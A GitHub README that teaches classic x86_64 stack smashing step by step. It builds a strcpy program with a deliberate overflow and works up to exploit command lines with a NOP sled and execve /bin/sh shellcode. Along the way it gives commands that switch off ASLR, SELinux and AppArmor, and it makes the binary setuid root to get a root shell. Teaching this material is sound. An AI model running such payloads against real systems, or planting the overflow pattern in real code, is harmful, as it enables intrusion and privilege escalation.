Skip to content

daedalus/stack_smashing

Repository files navigation

Smashing the stack the old way

Motivation

While stack smashing is an old technique to be shown in museums due to recent available broad mitigations, it holds relevance still to this day beacuse of it's implications that lie in the design of computers itself.
Learn the concepts and transmit them in an inteligible manner to asure full comprehension of the topic.
To apply the later explored concepts as simple as possible to comprehend the consecuences of unintended and undefined behavior that arises a vulnerability such as stack smashing that eventualy can lead to a full system compromission.
To amuse my friends and have fun.

First of all lets introduce to the memory of the system:

While the stack grows downward the heap grows upward.
Our program code will be loaded in the text region.
Our automatic variables will be placed in the stack region with function call parameters.
Our dynamic memory will be loeaded into the heap, that is for mallocs, etc.
We are going to be fousing only on stack vulnerabilites.

We will need some dependencies:

sudo apt-get install gcc gdb nasm binutils

We asume that we have python2.7 as command python installed beacuse we are going to use "\xHH" for escaping bytes and python3 doesnt handle them very well. Blame utf8 by default in this thing "\xHH" in python3.
We asume the target system fo the reader is a linux box x86_64, in other sistems should follow throught this readme with some minor modifications by the reader

Lets begin with a innocent program

#include<stdio.h>
#include<string.h>

int main(int argc, char** argv) {
    char buffer[500];
    strcpy(buffer, argv[1]);
    return 0;
}

What our innocent program does is: it initializes a static variable of type char of size 500 and then tries to copy a string from command line. Nothing fancy.

Lets compile it:

gcc vuln.c -o vuln

Attempting execution with a simple string such as 'hello' returns no errors:

$ ./vuln hello

Now if we send more than what we defined in our buffer:

$ ./vuln $(python -c 'print "\x41" * 524 ')
Segmentation fault

This means that we overrun the buffer.

Lets retry this in the GDB debuger:

$ gdb vuln
(gdb) run $(python -c 'print "\x41" * 524 ')
Program received signal SIGSEGV, Segmentation fault.
0x00007f0041414141 in ?? ()

Now lets check the registers:

(gdb) info reg
rsp            0x7fffffffdfe0	0x7fffffffdfe0
rip            0x7f0041414141   0x7f0041414141

This means that now we control what the RIP register or (return instruction pointer) point to.
This is our powerfull weapon because if we can control the RIP register we can point it to our malicious code.

The register RSP point to the top of the current stack frame.
We will need to remember this value for later.

Lets Introduce the nop-sled:

The NOP instruction tells the CPU to do nothing and move to the next instruction.
The NOP-sled is like: picture Boba Fet falling into the Sarlacc pit.
Anywhere we land into the middle of a NOP-sled we end up in the same place.
And in the end of the NOP-sled we are going to put our shellcode.
Then our main idea is to put a big enought NOP-sled that takes almost all the buffer up to almost the address where RIP is.

Again we run our innocent program with a bunch of NOPs:

(gdb) run $(python -c 'print "\x90" * 524 ')
Program received signal SIGSEGV, Segmentation fault.
0x00007f0090909090 in ?? ()

The same happens but the rip address now points to 0x00007f0090909090.

We need to add to the end of the NOP-sled our shellcode: "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

This is a generic 22 bytes linux-x86_64 execve /bin/sh shellcode:

Its asm code is:

   0:   48 31 f6                xor    %rsi,%rsi
   3:   56                      push   %rsi
   4:   48 bf 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rdi
   b:   2f 73 68 
   e:   57                      push   %rdi
   f:   54                      push   %rsp
  10:   5f                      pop    %rdi
  11:   b0 3b                   mov    $0x3b,%al
  13:   99                      cltd   
  14:   0f 05                   syscall 
  16:   0a                      .byte 0x

What this does is prepare the stack with the parameters: $0x68732f2f6e69622f = "/bin/sh" and fire an os syscall (execve).

Appending it and executing our exploit again:

(gdb) run $(python -c 'print "\x90" * 524 + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"  ')
Program received signal SIGSEGV, Segmentation fault.
0x0000555555555173 in main ()

As we can see the resulting address 0x0000555555555173 is not even in the stack range we can check this with:

(gdb) info proc mappings
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555555000     0x555555556000     0x1000     0x1000 /home/dclavijo/stack_smashing/vuln
      0x7ffff7f87000     0x7ffff7f8a000     0x3000   0x1bb000 /lib/x86_64-linux-gnu/libc-2.30.so
      0x7ffff7fce000     0x7ffff7fd2000     0x4000        0x0 [vvar]
      0x7ffff7fd2000     0x7ffff7fd4000     0x2000        0x0 [vdso]
      0x7ffff7fd4000     0x7ffff7fd5000     0x1000        0x0 /lib/x86_64-linux-gnu/ld-2.30.so
      .
      .
      .
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x28000 /lib/x86_64-linux-gnu/ld-2.30.so
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]

Our stack is in the region of 0x7ffffffde000-0x7ffffffff000.
This means that our NÖP-sled will need to cover all this region and our RIP address will need to point to some place in this region.
Lets say: 0x7fffffffdead this value is arbitrary and has to be in range of the register RSP, in our case was 0x7fffffffdfe0.
We are expecting that 0x7fffffffdead will be the middle of our NOP-sled. This can vary from system to system distributions and kernels.
In other cases we need to adjust only the last byte of the address like: (RSP - our_choosen_value) < 518. Sometimes our stack can be in other ranges like 0x7ffffffde000-0x7ffffffff000, in this other example the NOP-sled will be at:

(gdb) x/10x $rsp-100
0x7fffffffdbcc:	0x90909090	0x90909090	0x90909090	0x90909090
0x7fffffffdbdc:	0x90909090	0x90909090	0x90909090	0x90909090
0x7fffffffdbec:	0x90909090	0x90909090

Thats why wee need to remember RSP and adjust the landing value of RIP to be in the middle of the NOP-sled We also need to substract the lenght of the payload from the total length of the overflow, the payload is 23 bytes so (524-23).

Lets hit it again:

(gdb) run $(python -c 'print "\x90" * (524-23) + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"  ')
Program received signal SIGSEGV, Segmentation fault.
0x00007fff00050f99 in ?? ()

We are getting close:

For last we need to add our rip address that is going to be overwriten:
witch is 0x7fffffffdead and in the x86_64 machine endianess:
We are going to add it more than one time because we are overwriting registers in ram so we dont know where exactly they are we only know that we need to be aligned in order for it to work. And we need to substract it from our NOP-sled to not overshoot.

Lets try:

(gdb) run $(python -c 'print "\x90" * (524-23-30) + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" + "\x7f\xff\xff\xff\xde\xad"[::-1] * 5  ')
Program received signal SIGSEGV, Segmentation fault.
0xffffffdead050f99 in ?? ()

We got very close:

0xffffffdead050f99 is not the address we wanted to land 0x7fffffffdead
0x7fffffffdead is our return address in the middle of the NOP-sled when we overflow the RIP register wil point to this address and then the exploit begins.

We need to align our exploit to the machine registers in ram.
A +2 will suffice (this also can vary from system to system somethimes can be +3 or +1)

(gdb) run $(python -c 'print "\x90" * (524-23-30+2) + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" + "\x7f\xff\xff\xff\xde\xad"[::-1] * 5  ')

Voila, we landed into the mouth of the Sarlacc, but why didn't our exploit worked at all?

(gdb) run $(python -c 'print "\x90" * (524-22-30+2) + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" + "\x7f\xff\xff\xff\xde\xad"[::-1] * 5  ')
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffdead in ?? ()

But why didn't our exploit worked at all?

Lets inspect our RIP:

(gdb) x/10x $rip
0x7fffffffdead: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdebd: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdecd: 0x90909090  0x90909090

We can see that effectively we landed in the middle of our NOP-sled but nothing happened.
This is beacuse newer versions of gcc and linux by default set the execution bit of the stack page to disabled (NX bit).
So we need to recompile again our inocent code disabling the stack execution protection.

gcc -z execstack  -g -fno-inline -fno-stack-protector -fno-pie -O0  vuln.c -o vuln

Lets hit it one more time:

gdb vuln
(gdb) run $(python -c 'print "\x90" * (524-22-30+2) + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" + "\x7f\xff\xff\xff\xde\xad"[::-1] * 5  ')
$

Holy shiet, we have our first shell executed from a an expoit!!!

Lets try one more thing, lets execute it outside gdb:

./vuln $(python -c 'print "\x90" * (524-22-30+2) + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" + "\x7f\xff\xff\xff\xde\xad"[::-1] * 5  ')
Segmentation fault

WTF? why it didn't work?
Newer versions of linux include Address space layout randomization or ASLR for short.
ASLR is a technique of address randomization witch rearranges the internal mappings of the sections of a process memory.
Our exploit didn't work beacuse we are asumming our program stack is going to be in the fixed range 0x7ffffffde000-0x7ffffffff000 and ASLR efectively prevents it to work beacuse in linux is enabled by defaut.

But we can disable it momentarily:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Also we may need to disable selinux and apparmor in order for this exploit to work:

sudo setenforce 0
sudo systemctl stop apparmor

And for last time:

./vuln $(python -c 'print "\x90" * (524-22-30+2) + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" + "\x7f\xff\xff\xff\xde\xad"[::-1] * 5  ')
$

We got our exploit working.

Extra bits

Using the shellcode from https://www.exploit-db.com/exploits/41498, extract to shellcode.asm

nasm -f elf64 -o shellcode.o shellcode.asm
ld -o shellcode shellcode.o
printf '\\x' && objdump -d shellcode | grep "^ " | cut -f2 | tr -d ' ' | tr -d '\n' | sed 's/.\{2\}/&\\x /g'| head -c-3 | tr -d ' ' && echo ' '

The resulting shellcode is 31 bytes long:

"\x31\xff\x57\x6a\x69\x58\x48\xbb\x5e\xc4\xd2\xdc\x5e\x5e\xe6\xd0\x0f\x05\x48\xd1\xcb\xb0\x3b\x53\x87\xf7\x54\x99\x5f\x0f\x05"

And

chmod +s vuln
sudo chown root:root vuln

We can attain root:

./vuln $(python -c 'print "\x90" * (524-31-30+2) + "\x31\xff\x57\x6a\x69\x58\x48\xbb\x5e\xc4\xd2\xdc\x5e\x5e\xe6\xd0\x0f\x05\x48\xd1\xcb\xb0\x3b\x53\x87\xf7\x54\x99\x5f\x0f\x05" + "\x7f\xffxff\xff\xde\xad"[::-1] * 5  ')
# whoami
root

Thank you for getting to this point.

References